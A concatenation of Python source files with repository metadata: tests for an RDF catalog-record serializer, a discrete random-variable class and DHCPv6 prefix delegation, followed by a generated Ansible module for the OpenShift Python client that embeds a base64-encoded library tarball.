@prefix dcat: <http://www.w3.org/ns/dcat#> . <http://example.com/catalogrecords/1> a dcat:CatalogRecord ; dct:conformsTo <http://example.com/standards/1> , <http://example.com/standards/2> ; . """ g1 = Graph().parse(data=catalogrecord.to_rdf(), format="turtle") g2 = Graph().parse(data=src, format="turtle") _isomorphic = isomorphic(g1, g2) if not _isomorphic: _dump_diff(g1, g2) pass assert _isomorphic # ---------------------------------------------------------------------- # # Utils for displaying debug information def _dump_diff(g1: Graph, g2: Graph) -> None: in_both, in_first, in_second = graph_diff(g1, g2) print("\nin both:") _dump_turtle(in_both) print("\nin first:") _dump_turtle(in_first) print("\nin second:") _dump_turtle(in_second) def _dump_turtle(g: Graph) -> None: for _l in g.serialize(format="turtle").splitlines(): if _l: print(_l)

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Python

tests/probability2/multi_discrete_rv_test.py

rpazuki/algos

bca46326f58eb983db6efe55320bf95fcf2b895f

[ "MIT" ]

null

tests/probability2/multi_discrete_rv_test.py

rpazuki/algos

bca46326f58eb983db6efe55320bf95fcf2b895f

[ "MIT" ]

1

2020-08-12T06:56:59.000Z

2020-08-12T08:57:30.000Z

tests/probability2/multi_discrete_rv_test.py

chasing-entropy/algos

bca46326f58eb983db6efe55320bf95fcf2b895f

[ "MIT" ]

null

import pytest from probability2 import MultiDiscreteRV def test_len_multidiscreterv(): random_v = MultiDiscreteRV((1, 2), ["X1", "X2"]) assert len(random_v) == 2 assert random_v.size == 2 random_v = MultiDiscreteRV((1, "aaa", "w1")) assert len(random_v) == 3 assert random_v.size == 3 random_v = MultiDiscreteRV((1, 2, 4, 2), ["X1", "X2", "X3", "X4"]) assert len(random_v) == 4 assert random_v.size == 4 random_v = MultiDiscreteRV([1, 2, 3, 4], ["X1", "X2", "X3", "X4"]) assert len(random_v) == 4 assert random_v.size == 4 def test_index_of_multidiscreterv(): random_v = MultiDiscreteRV(1, ["X1"]) assert random_v.index_of("X1") == 0 assert random_v.index_of("Y1") == -1 random_v = MultiDiscreteRV((1, 2), ["X1", "X2"]) assert random_v.index_of("X1") == 0 assert random_v.index_of("X2") == 1 assert random_v.index_of("Y1") == -1 random_v = MultiDiscreteRV((1, "aaa", "w1"), ["X1", "X2", "X3"]) assert random_v.index_of("X1") == 0 assert random_v.index_of("X2") == 1 assert random_v.index_of("X3") == 2 assert random_v.index_of("Y1") == -1 random_v = MultiDiscreteRV( (1, 2, 4, 2), ["X1", "X2", "X3", "X4"], ) assert random_v.index_of("X1") == 0 assert random_v.index_of("X2") == 1 assert random_v.index_of("X3") == 2 assert random_v.index_of("X4") == 3 assert random_v.index_of("Y1") == -1 def test_indexer_multidiscreterv(): random_v = MultiDiscreteRV(1, ["X1"]) assert random_v[0].name == "X1" assert random_v["X1"].name == "X1" with pytest.raises(ValueError): assert random_v[(1,)] == "X1" random_v = MultiDiscreteRV((1, 2), ["X1", "X2"]) assert random_v[0].name == "X1" assert random_v["X1"].name == "X1" assert random_v[1].name == "X2" assert random_v["X2"].name == "X2" random_v = MultiDiscreteRV( (1, "aaa", "w1"), ["X1", "X2", "X3"], ) assert random_v[0].name == "X1" assert random_v["X1"].name == "X1" assert random_v[1].name == "X2" assert random_v["X2"].name == "X2" assert random_v[2].name == "X3" assert random_v["X3"].name == "X3" random_v = MultiDiscreteRV( (1, 2, 4, 2), ["X1", "X2", "X3", "X4"], ) assert random_v[0].name == "X1" assert random_v["X1"].name == "X1" assert random_v[1].name == "X2" assert random_v["X2"].name == "X2" assert random_v[2].name == "X3" assert random_v["X3"].name == "X3" assert random_v[3].name == "X4" assert random_v["X4"].name == "X4" def test_contains_multidiscreterv(): random_v = MultiDiscreteRV(1) assert "X1" in random_v assert "Y1" not in random_v random_v = MultiDiscreteRV((1, 2), ["X1", "X2"]) assert "X1" in random_v assert "X2" in random_v assert "Y1" not in random_v random_v = MultiDiscreteRV( (1, "aaa", "w1"), ["X1", "X2", "X3"], ) assert "X1" in random_v assert "X2" in random_v assert "X3" in random_v assert "Y1" not in random_v random_v = MultiDiscreteRV( (1, 2, 4, 2), ["X1", "X2", "X3", "X4"], ) assert "X1" in random_v assert "X2" in random_v assert "X3" in random_v assert "X4" in random_v assert "Y1" not in random_v def test_to_key_exceptions_multidiscreterv(): # wrong name random_v = MultiDiscreteRV(1, ["X1"]) with pytest.raises(ValueError): random_v.to_key(x2=2) random_v = MultiDiscreteRV((1, 2), ["X1", "X2"]) with pytest.raises(ValueError): random_v.to_key(x1=1, x3=2) with pytest.raises(ValueError): random_v.to_key(x3=1, x1=2) random_v = MultiDiscreteRV( ("a", 1, "w1"), ["X1", "X2", "X3"], ) with pytest.raises(ValueError): random_v.to_key(x1=1, x2=3, x4=2) with pytest.raises(ValueError): random_v.to_key(x1=1, x4=2, x2=3) with pytest.raises(ValueError): random_v.to_key(x4=2, x1=1, x2=3) random_v = MultiDiscreteRV( (1, 2, 4, 2), ["X1", "X2", "X3", "X4"], ) with pytest.raises(ValueError): random_v.to_key(x1=1, x2=3, x3=2, x5=1) with pytest.raises(ValueError): random_v.to_key(x1=1, x2=2, x5=1, x3=3) with pytest.raises(ValueError): random_v.to_key(x1=2, x5=1, x2=1, x3=3) with pytest.raises(ValueError): random_v.to_key(x5=1, x1=2, x2=1, x3=3) # wrong length random_v = MultiDiscreteRV(1, ["X1"]) with pytest.raises(ValueError): random_v.to_key() with pytest.raises(ValueError): random_v.to_key(1, 2) with pytest.raises(ValueError): random_v.to_key(1, x1=1) with pytest.raises(ValueError): random_v.to_key(x1=1, x2=1) random_v = MultiDiscreteRV((1, 2), ["X1", "X2"]) with pytest.raises(ValueError): random_v.to_key() with pytest.raises(ValueError): random_v.to_key(1) with pytest.raises(ValueError): random_v.to_key(1, 2, 3) with pytest.raises(ValueError): random_v.to_key(1, 2, 3, 4) with pytest.raises(ValueError): random_v.to_key(x1=1) with pytest.raises(ValueError): random_v.to_key(1, 2, x1=1) with pytest.raises(ValueError): random_v.to_key(1, 2, 3, x1=1) with pytest.raises(ValueError): random_v.to_key(1, x1=1, x2=1) with pytest.raises(ValueError): random_v.to_key(1, 2, x1=1, x2=1) with pytest.raises(ValueError): random_v.to_key(x1=1, x2=1, x3=3) with pytest.raises(ValueError): random_v.to_key(1, x1=1, x2=1, x3=3) random_v = MultiDiscreteRV( ("a", 1, "w1"), ["X1", "X2", "X3"], ) with pytest.raises(ValueError): random_v.to_key() with pytest.raises(ValueError): random_v.to_key(1) with pytest.raises(ValueError): random_v.to_key(1, 2) with pytest.raises(ValueError): random_v.to_key(1, 2, 3, 4) with pytest.raises(ValueError): random_v.to_key(x1=1) with pytest.raises(ValueError): random_v.to_key(1, x1=1) with pytest.raises(ValueError): random_v.to_key(1, 2, 4, x1=1) with pytest.raises(ValueError): random_v.to_key(x1=1, x2=1) with pytest.raises(ValueError): random_v.to_key(1, 2, x1=1, x2=1) with pytest.raises(ValueError): random_v.to_key(x1=1, x2=1, x3=1, x4=2) with pytest.raises(ValueError): random_v.to_key(1, x1=1, x2=1, x3=1, x4=2) with pytest.raises(ValueError): random_v.to_key(1, 2, x1=1, x2=1, x3=1, x4=2) random_v = MultiDiscreteRV( (1, 2, 4, 2), ["X1", "X2", "X3", "X4"], ) with pytest.raises(ValueError): random_v.to_key() with pytest.raises(ValueError): random_v.to_key(1) with pytest.raises(ValueError): random_v.to_key(1, 2) with pytest.raises(ValueError): random_v.to_key(1, 2, 3) with pytest.raises(ValueError): random_v.to_key(1, 2, 3, 4, 5) with pytest.raises(ValueError): random_v.to_key(1, 2, 3, 4, 5, 6) with pytest.raises(ValueError): random_v.to_key(x1=1) with pytest.raises(ValueError): random_v.to_key(1, x1=1) with pytest.raises(ValueError): random_v.to_key(1, 2, x1=1) with pytest.raises(ValueError): random_v.to_key(1, 2, 3, 4, x1=1) with pytest.raises(ValueError): random_v.to_key(1, 2, 3, 4, 5, x1=1) with pytest.raises(ValueError): random_v.to_key(x1=1, x2=1) with pytest.raises(ValueError): random_v.to_key(1, x1=1, x2=1) with pytest.raises(ValueError): random_v.to_key(1, 2, 3, x1=1, x2=1) with pytest.raises(ValueError): random_v.to_key(x1=1, x2=1, x3=1) with pytest.raises(ValueError): random_v.to_key(1, 2, x1=1, x2=1, x3=1) with pytest.raises(ValueError): random_v.to_key(1, 2, 3, x1=1, x2=1, x3=1) with pytest.raises(ValueError): random_v.to_key(1, x1=1, x2=1, x3=1, x4=2) with pytest.raises(ValueError): random_v.to_key(1, 2, x1=1, x2=1, x3=1, x4=2) with pytest.raises(ValueError): random_v.to_key(1, 2, 3, x1=1, x2=1, x3=1, x4=2) with pytest.raises(ValueError): random_v.to_key(x1=1, x2=1, x3=1, x4=2, x5=5) with pytest.raises(ValueError): random_v.to_key(1, x1=1, x2=1, x3=1, x4=2, x5=5) with pytest.raises(ValueError): random_v.to_key(1, 2, x1=1, x2=1, x3=1, x4=2, x5=5) with pytest.raises(ValueError): random_v.to_key(1, 2, 3, x1=1, x2=1, x3=1, x4=2, x5=5) def test_to_key_multidiscreterv(): random_v = MultiDiscreteRV(1, ["X1"]) assert random_v.to_key(2) == 2 assert random_v.to_key(X1=2) == 2 random_v = MultiDiscreteRV((1, 2), ["X1", "X2"]) assert random_v.to_key(1, 2) == (1, 2) assert random_v.to_key(1, X2=2) == (1, 2) assert random_v.to_key(2, X1=1) == (1, 2) assert random_v.to_key(X1=1, X2=2) == (1, 2) assert random_v.to_key(X2=2, X1=1) == (1, 2) random_v = MultiDiscreteRV( ("a", 1, "w1"), ["X1", "X2", "X3"], ) assert random_v.to_key("a", 1, "w1") == ("a", 1, "w1") assert random_v.to_key("a", 1, X3="w1") == ("a", 1, "w1") assert random_v.to_key("a", "w1", X2=1) == ("a", 1, "w1") assert random_v.to_key(1, "w1", X1="a") == ("a", 1, "w1") assert random_v.to_key("a", X2=1, X3="w1") == ("a", 1, "w1") assert random_v.to_key(1, X1="a", X3="w1") == ("a", 1, "w1") assert random_v.to_key("w1", X1="a", X2=1) == ("a", 1, "w1") assert random_v.to_key("a", X3="w1", X2=1) == ("a", 1, "w1") assert random_v.to_key(1, X3="w1", X1="a") == ("a", 1, "w1") assert random_v.to_key("w1", X2=1, X1="a") == ("a", 1, "w1") assert random_v.to_key(X1="a", X2=1, X3="w1") == ("a", 1, "w1") assert random_v.to_key(X1="a", X3="w1", X2=1) == ("a", 1, "w1") assert random_v.to_key(X2=1, X1="a", X3="w1") == ("a", 1, "w1") assert random_v.to_key(X2=1, X3="w1", X1="a") == ("a", 1, "w1") assert random_v.to_key(X3="w1", X1="a", X2=1) == ("a", 1, "w1") assert random_v.to_key(X3="w1", X2=1, X1="a") == ("a", 1, "w1") random_v = MultiDiscreteRV( ("a", 1, "w1", 4), ["X1", "X2", "X3", "X4"], ) assert random_v.to_key("a", 1, "w1", 4) == ("a", 1, "w1", 4) assert random_v.to_key("a", 1, "w1", X4=4) == ("a", 1, "w1", 4) assert random_v.to_key("a", 1, 4, X3="w1") == ("a", 1, "w1", 4) assert random_v.to_key("a", "w1", 4, X2=1) == ("a", 1, "w1", 4) assert random_v.to_key(1, "w1", 4, X1="a") == ("a", 1, "w1", 4) assert random_v.to_key("a", 1, X3="w1", X4=4) == ("a", 1, "w1", 4) assert random_v.to_key("a", 1, X4=4, X3="w1") == ("a", 1, "w1", 4) assert random_v.to_key("a", "w1", X2=1, X4=4) == ("a", 1, "w1", 4) assert random_v.to_key("a", "w1", X4=4, X2=1) == ("a", 1, "w1", 4) assert random_v.to_key(1, "w1", X1="a", X4=4) == ("a", 1, "w1", 4) assert random_v.to_key(1, "w1", X4=4, X1="a") == ("a", 1, "w1", 4) assert random_v.to_key("a", 4, X2=1, X3="w1") == ("a", 1, "w1", 4) assert random_v.to_key("a", 4, X3="w1", X2=1) == ("a", 1, "w1", 4) assert random_v.to_key(1, 4, X1="a", X3="w1") == ("a", 1, "w1", 4) assert random_v.to_key(1, 4, X3="w1", X1="a") == ("a", 1, "w1", 4) assert random_v.to_key("w1", 4, X1="a", X2=1) == ("a", 1, "w1", 4) assert random_v.to_key("w1", 4, X2=1, X1="a") == ("a", 1, "w1", 4) assert random_v.to_key("a", X2=1, X3="w1", X4=4) == ("a", 1, "w1", 4) assert random_v.to_key("a", X3="w1", X2=1, X4=4) == ("a", 1, "w1", 4) assert random_v.to_key("a", X3="w1", X4=4, X2=1) == ("a", 1, "w1", 4) assert random_v.to_key("a", X2=1, X4=4, X3="w1") == ("a", 1, "w1", 4) assert random_v.to_key(1, X1="a", X3="w1", X4=4) == ("a", 1, "w1", 4) assert random_v.to_key(1, X3="w1", X1="a", X4=4) == ("a", 1, "w1", 4) assert random_v.to_key(1, X3="w1", X4=4, X1="a") == ("a", 1, "w1", 4) assert random_v.to_key(1, X1="a", X4=4, X3="w1") == ("a", 1, "w1", 4) assert random_v.to_key("w1", X1="a", X2=1, X4=4) == ("a", 1, "w1", 4) assert random_v.to_key("w1", X2=1, X1="a", X4=4) == ("a", 1, "w1", 4) assert random_v.to_key("w1", X2=1, X4=4, X1="a") == ("a", 1, "w1", 4) assert random_v.to_key("w1", X1="a", X4=4, X2=1) == ("a", 1, "w1", 4) assert random_v.to_key(4, X1="a", X2=1, X3="w1") == ("a", 1, "w1", 4) assert random_v.to_key(4, X2=1, X1="a", X3="w1") == ("a", 1, "w1", 4) assert random_v.to_key(4, X2=1, X3="w1", X1="a") == ("a", 1, "w1", 4) assert random_v.to_key(4, X1="a", X3="w1", X2=1) == ("a", 1, "w1", 4) assert random_v.to_key(X1="a", X2=1, X3="w1", X4=4) == ("a", 1, "w1", 4) assert random_v.to_key(X1="a", X2=1, X4=4, X3="w1") == ("a", 1, "w1", 4) assert random_v.to_key(X1="a", X3="w1", X2=1, X4=4) == ("a", 1, "w1", 4) assert random_v.to_key(X1="a", X3="w1", X4=4, X2=1) == ("a", 1, "w1", 4) assert random_v.to_key(X2=1, X1="a", X3="w1", X4=4) == ("a", 1, "w1", 4) assert random_v.to_key(X2=1, X1="a", X4=4, X3="w1") == ("a", 1, "w1", 4) assert random_v.to_key(X2=1, X3="w1", X1="a", X4=4) == ("a", 1, "w1", 4) assert random_v.to_key(X2=1, X3="w1", X4=4, X1="a") == ("a", 1, "w1", 4) assert random_v.to_key(X2=1, X4=4, X3="w1", X1="a") == ("a", 1, "w1", 4) assert random_v.to_key(X2=1, X4=4, X1="a", X3="w1") == ("a", 1, "w1", 4) assert random_v.to_key(X3="w1", X1="a", X2=1, X4=4) == ("a", 1, "w1", 4) assert random_v.to_key(X3="w1", X1="a", X4=4, X2=1) == ("a", 1, "w1", 4) assert random_v.to_key(X3="w1", X2=1, X1="a", X4=4) == ("a", 1, "w1", 4) assert random_v.to_key(X3="w1", X2=1, X4=4, X1="a") == ("a", 1, "w1", 4) assert random_v.to_key(X3="w1", X4=4, X1="a", X2=1) == ("a", 1, "w1", 4) assert random_v.to_key(X3="w1", X4=4, X2=1, X1="a") == ("a", 1, "w1", 4) assert random_v.to_key(X4=4, X1="a", X2=1, X3="w1") == ("a", 1, "w1", 4) assert random_v.to_key(X4=4, X1="a", X3="w1", X2=1) == ("a", 1, "w1", 4) assert random_v.to_key(X4=4, X2=1, X1="a", X3="w1") == ("a", 1, "w1", 4) assert random_v.to_key(X4=4, X2=1, X3="w1", X1="a") == ("a", 1, "w1", 4) assert random_v.to_key(X4=4, X3="w1", X1="a", X2=1) == ("a", 1, "w1", 4) assert random_v.to_key(X4=4, X3="w1", X2=1, X1="a") == ("a", 1, "w1", 4) def test_to_dict_key_multidiscreterv(): random_v = MultiDiscreteRV(1, ["X1"]) # assert random_v.to_dict_key(2) == {"X1": 2} # assert random_v.to_dict_key(X1=2) == {"X1": 2} random_v = MultiDiscreteRV((1, 2), ["X1", "X2"]) assert random_v.to_dict_key(1, 2) == {"X1": 1, "X2": 2} assert random_v.to_dict_key(1, X2=2) == {"X1": 1, "X2": 2} assert random_v.to_dict_key(X1=1, X2=2) == {"X1": 1, "X2": 2} random_v = MultiDiscreteRV( ("a", 1, "w1"), ["X1", "X2", "X3"], ) assert random_v.to_dict_key("a", 1, "w1") == {"X1": "a", "X2": 1, "X3": "w1"} assert random_v.to_dict_key("a", 1, X3="w1") == {"X1": "a", "X2": 1, "X3": "w1"} assert random_v.to_dict_key("a", X2=1, X3="w1") == {"X1": "a", "X2": 1, "X3": "w1"} assert random_v.to_dict_key(1, X1="a", X3="w1") == {"X1": "a", "X2": 1, "X3": "w1"} assert random_v.to_dict_key(1, X3="w1", X1="a") == {"X1": "a", "X2": 1, "X3": "w1"} assert random_v.to_dict_key("w1", X2=1, X1="a") == {"X1": "a", "X2": 1, "X3": "w1"} assert random_v.to_dict_key(X1="a", X2=1, X3="w1") == { "X1": "a", "X2": 1, "X3": "w1", } assert random_v.to_dict_key(X3="w1", X1="a", X2=1) == { "X1": "a", "X2": 1, "X3": "w1", } random_v = MultiDiscreteRV( ("a", 1, "w1", 4), ["X1", "X2", "X3", "X4"], ) assert random_v.to_dict_key("a", 1, "w1", 4) == { "X1": "a", "X2": 1, "X3": "w1", "X4": 4, } assert random_v.to_dict_key("a", 1, "w1", X4=4) == { "X1": "a", "X2": 1, "X3": "w1", "X4": 4, } assert random_v.to_dict_key("a", 1, X3="w1", X4=4) == { "X1": "a", "X2": 1, "X3": "w1", "X4": 4, } assert random_v.to_dict_key("a", X2=1, X3="w1", X4=4) == { "X1": "a", "X2": 1, "X3": "w1", "X4": 4, } assert random_v.to_dict_key(X1="a", X2=1, X3="w1", X4=4) == { "X1": "a", "X2": 1, "X3": "w1", "X4": 4, } assert random_v.to_dict_key(X2=1, X1="a", X4=4, X3="w1") == { "X1": "a", "X2": 1, "X3": "w1", "X4": 4, }

37.787671

87

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16,551

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0.205613

0.169105

0.198359

0.960518

0.944702

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0.925318

0.910096

0.882269

0

0.107036

0.232312

16,551

437

88

37.874142

0.554777

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null

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8

330aecd80cfef8d583643e23557497bc06e813d2

8,486

py

Python

tests/dhcpv6/prefix_delegation/test_v6_prefix_delegation_renew.py

shawnmullaney/forge

aaaef0a0645f73d24666aab6a400f3604e753aac

[ "0BSD" ]

null

tests/dhcpv6/prefix_delegation/test_v6_prefix_delegation_renew.py

shawnmullaney/forge

aaaef0a0645f73d24666aab6a400f3604e753aac

[ "0BSD" ]

null

tests/dhcpv6/prefix_delegation/test_v6_prefix_delegation_renew.py

shawnmullaney/forge

aaaef0a0645f73d24666aab6a400f3604e753aac

[ "0BSD" ]

null

"""DHCPv6 Prefix Delegation""" # pylint: disable=invalid-name,line-too-long import pytest import misc import srv_msg import references import srv_control @pytest.mark.v6 @pytest.mark.dhcp6 @pytest.mark.PD @pytest.mark.rfc3633 def test_prefix_delegation_onlyPD_renew(): misc.test_setup() srv_control.config_srv_subnet('3000::/64', '3000::1-3000::3') srv_control.config_srv_prefix('2001:db8:1::', '0', '90', '92') srv_control.build_and_send_config_files('SSH', 'config-file') srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_does_include('Client', None, 'IA-PD') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('SOLICIT') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'ADVERTISE') srv_msg.response_check_include_option('Response', None, '25') srv_msg.response_check_option_content('Response', '25', None, 'sub-option', '26') misc.test_procedure() srv_msg.client_copy_option('server-id') srv_msg.client_copy_option('IA_PD') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('REQUEST') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') srv_msg.response_check_include_option('Response', None, '25') srv_msg.response_check_option_content('Response', '25', None, 'sub-option', '26') misc.test_procedure() srv_msg.client_copy_option('server-id') srv_msg.client_copy_option('IA_PD') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('RENEW') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') srv_msg.response_check_include_option('Response', None, '25') srv_msg.response_check_option_content('Response', '25', None, 'sub-option', '26') references.references_check('RFC') @pytest.mark.v6 @pytest.mark.dhcp6 @pytest.mark.PD @pytest.mark.rfc3633 @pytest.mark.disabled def test_prefix_delegation_onlyPD_renew_nobinding(): # this tests will be disabled after RFC 7550 tests will be added misc.test_setup() srv_control.config_srv_subnet('3000::/64', '3000::1-3000::3') srv_control.config_srv_prefix('2001:db8:1::', '0', '90', '92') srv_control.build_and_send_config_files('SSH', 'config-file') srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_does_include('Client', None, 'IA-PD') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('SOLICIT') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'ADVERTISE') misc.test_procedure() srv_msg.client_copy_option('server-id') srv_msg.client_copy_option('IA_PD') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('RENEW') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') srv_msg.response_check_include_option('Response', None, '25') srv_msg.response_check_option_content('Response', '25', None, 'sub-option', '13') srv_msg.response_check_suboption_content('Response', '13', '25', None, 'statuscode', '3') references.references_check('RFC') @pytest.mark.v6 @pytest.mark.dhcp6 @pytest.mark.PD @pytest.mark.rfc3633 @pytest.mark.disabled def test_prefix_delegation_onlyPD_renew_nobinding_new_IA_PD(): # this tests will be disabled after RFC 7550 tests will be added misc.test_setup() srv_control.config_srv_subnet('3000::/64', '3000::1-3000::3') srv_control.config_srv_prefix('2001:db8:1::', '0', '90', '92') srv_control.build_and_send_config_files('SSH', 'config-file') srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_does_include('Client', None, 'IA-PD') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('SOLICIT') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'ADVERTISE') misc.test_procedure() srv_msg.generate_new('IA_PD') srv_msg.client_copy_option('server-id') srv_msg.client_copy_option('IA_PD') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('RENEW') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') srv_msg.response_check_include_option('Response', None, '25') srv_msg.response_check_option_content('Response', '25', None, 'sub-option', '13') srv_msg.response_check_suboption_content('Response', '13', '25', None, 'statuscode', '3') references.references_check('RFC') @pytest.mark.v6 @pytest.mark.dhcp6 @pytest.mark.PD @pytest.mark.rfc3633 def test_prefix_delegation_IA_and_PD_renew(): # this tests will be disabled after RFC 7550 tests will be added misc.test_setup() # Server is configured with 3000::/64 subnet with 3000::1-3000::3 pool. srv_control.config_srv_subnet('3000::/64', '3000::ffff:ffff:1-3000::ffff:ffff:3') srv_control.config_srv_prefix('2001:db8:1::', '0', '90', '92') srv_control.build_and_send_config_files('SSH', 'config-file') srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_does_include('Client', None, 'IA-PD') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('SOLICIT') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'ADVERTISE') srv_msg.response_check_include_option('Response', None, '25') srv_msg.response_check_option_content('Response', '25', None, 'sub-option', '26') misc.test_procedure() srv_msg.client_copy_option('server-id') srv_msg.client_save_option('IA_PD') srv_msg.client_add_saved_option(None) srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('REQUEST') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') srv_msg.response_check_include_option('Response', None, '25') srv_msg.response_check_option_content('Response', '25', None, 'sub-option', '26') misc.test_procedure() srv_msg.client_copy_option('server-id') srv_msg.client_copy_option('IA_PD') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_does_include('Client', None, 'IA-NA') srv_msg.client_send_msg('RENEW') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') srv_msg.response_check_include_option('Response', None, '25') srv_msg.response_check_option_content('Response', '25', None, 'sub-option', '26') srv_msg.response_check_include_option('Response', None, '3') srv_msg.response_check_option_content('Response', '3', None, 'sub-option', '5') srv_msg.response_check_suboption_content('Response', '5', '3', None, 'validlft', '4000') references.references_check('RFC') @pytest.mark.v6 @pytest.mark.dhcp6 @pytest.mark.PD @pytest.mark.rfc3633 @pytest.mark.disabled def test_prefix_delegation_IA_and_PD_renew_nobindig(): # this tests will be disabled after RFC 7550 tests will be added misc.test_setup() srv_control.config_srv_subnet('3000::/64', '3000::1-3000::3') srv_control.config_srv_prefix('2001:db8:1::', '0', '90', '92') srv_control.build_and_send_config_files('SSH', 'config-file') srv_control.start_srv('DHCP', 'started') misc.test_procedure() srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_does_include('Client', None, 'IA-NA') srv_msg.client_send_msg('SOLICIT') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'ADVERTISE') misc.test_procedure() srv_msg.client_does_include('Client', None, 'IA-PD') srv_msg.client_copy_option('server-id') srv_msg.client_copy_option('IA_NA') srv_msg.client_does_include('Client', None, 'client-id') srv_msg.client_send_msg('RENEW') misc.pass_criteria() srv_msg.send_wait_for_message('MUST', None, 'REPLY') srv_msg.response_check_include_option('Response', None, '25') srv_msg.response_check_option_content('Response', '25', None, 'sub-option', '26') # Response sub-option 13 from option 25 MUST contain statuscode 3. changed after rfc7550 srv_msg.response_check_include_option('Response', None, '3') srv_msg.response_check_option_content('Response', '3', None, 'sub-option', '13') srv_msg.response_check_suboption_content('Response', '13', '3', None, 'statuscode', '3') references.references_check('RFC')

37.38326

93

0.723898

1,248

8,486

4.576122

0.084135

0.090352

0.096656

0.0865

0.941166

0.940816

0.935038

0.919979

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0

0.038824

0.125854

8,486

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37.548673

0.73106

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0

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null

0

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1

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null

0

1

0

9

331baf1bfb03f4267878d1f322d21fa59467987c

73,482

py

Python

ansible/roles/openshift_client_python/library/openshift_client_python.py

elenagerman/openshift-client-python

a6c97f8c9ac40df9eeef8f1af599c9e3a7cb63ad

[ "Apache-2.0" ]

null

ansible/roles/openshift_client_python/library/openshift_client_python.py

elenagerman/openshift-client-python

a6c97f8c9ac40df9eeef8f1af599c9e3a7cb63ad

[ "Apache-2.0" ]

null

ansible/roles/openshift_client_python/library/openshift_client_python.py

elenagerman/openshift-client-python

a6c97f8c9ac40df9eeef8f1af599c9e3a7cb63ad

[ "Apache-2.0" ]

null

#!/usr/bin/env python # THIS IS A GENERATED FILE. DO NOT MODIFY IT # Modify: openshift_client_python.template.py and then run rebuild_module.sh to affect this file from __future__ import print_function from __future__ import absolute_import from ansible.module_utils.basic import AnsibleModule import os import six import tempfile import shutil import tarfile import base64 import sys import pprint # Allows modules to trigger errors def error(msg, **kwargs): import openshift as oc raise oc.OpenShiftPythonException(msg, **kwargs) def main(): import openshift as oc script = module.params["script"] time = module.params["timeout"] oc.ansible.reset() oc.ansible.vars = module.params["vars"] if time is not None: time = int(time) # Allow time to come in as a string if module.params["project"] is not None: oc.context.default_project = module.params["project"] with oc.timeout(time): with oc.tracking() as ct: try: with oc.util.OutputCapture() as capture: exec(script) module.debug("openshift_client_python module invocation result:\n" + str(ct.get_result())) module.exit_json(rc=ct.get_result().status(), changed=module.params['changes'], ansible_facts=oc.ansible.new_facts, stdout=capture.out.getvalue().decode('UTF-8'), stderr=capture.err.getvalue().decode('UTF-8'), result=ct.get_result().as_dict() ) except oc.OpenShiftPythonException as ose: module.debug("openshift_client_python module invocation exception: " + str(ose)) module.debug("openshift_client_python module invocation result:\n" + str(ct.get_result())) module.fail_json(msg=ose.msg, rc=ose.result.status(), exception_attributes=ose.attributes(), changed=module.params['changes'] or oc.ansible.changed, ansible_facts=oc.ansible.new_facts, stdout=capture.out.getvalue().decode('UTF-8'), stderr=capture.err.getvalue().decode('UTF-8'), result=ct.get_result().as_dict() ) except KeyboardInterrupt: print('Received KeyboardInterrupt during module', file=sys.stderr) pprint.pprint(ct.get_result().as_dict(), stream=sys.stderr) raise if __name__ == '__main__': # When openshift-client-python/ansible/rebuild_module.sh is executed, it will read in this template # and replace the following variable with a b64 encoded tarball of the openshift-client-library # package. The client_python_extract_dir path will contain the 'openshift' package directory. REPLACED_BY_REBUILD_MODULE = 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K4AJod8uRNk9I+0JK5qoC7oT0AKR2KJRvwlAU/AxfqSACAOB4na5mrGpBioE2xxO2xGD1RRX10vg8RuB8fKKWhgzUx3R6kqok0DBQ5QTOWL7s6sc4EqAZQNKWrDoipT5M3Sxa5RnxOcqigOwNLmAo0LHZDQJelHhmLwNQoIlkSid8lqN1BVDns2yWLTO6Qlhep3DUH5BA9bA+vZoJM1Qu5sWMadLTXne1nOImQ+vLoqyOutl5XpRpwJRHE0ZDJW/dlsv8WZ1TGFqm46tR+i7DqyQ0wvNxlO/mxLlAm3aC1EagA3eWmrsOGk+FmVECRMKTU4E0Z8rhQJkhH5mtit3gX1MoUO+LW5+KQ9fCBCFQFkbYfBn6IPrbBSBEkQNayc4kkYExGjk/nOFzstjgkxnvPSZJOalZxfofOArQghckHD4T4NBe3DSQHCl/qkg6ccE2UW+sJZ4kiBXarSR+hbue2D+5Mzgy8xvjP7c6I8QEFtGO2hAMP0LE5gcwhCP4L0Af1QeYpFmqOh0jl8N8b53nrU3PbVnxpg+cLpo9Xzf0xiv8WsH2fRP6qMm4zHAyNqpyBnTkcm1J2fMvT56H93iwM2iohxICUaLWKiQrVrM0XfRYPG/vuxbhgefsgUwpv7+UL32E+grwAXjjCijTMpqyG9EZzGYFPG+EBzBuw/1d4FPpUiNy7b/9D8rgKUpUdE9heG9sDE5AdYo21teHwV1OAasxbbW/cWNOay7NVVjDT/GhrwMTVKyvewvxzidNugR67Rrq93TxoaWHkF67SrSGbVHrSQOk4T5zWBPUr6d4/ucprT/dngBOlCu+iFJ+dUboxwt+UrSgXTvOL4padEdOV8YgVBGnM0nPViB1rcpFUYkjBN16m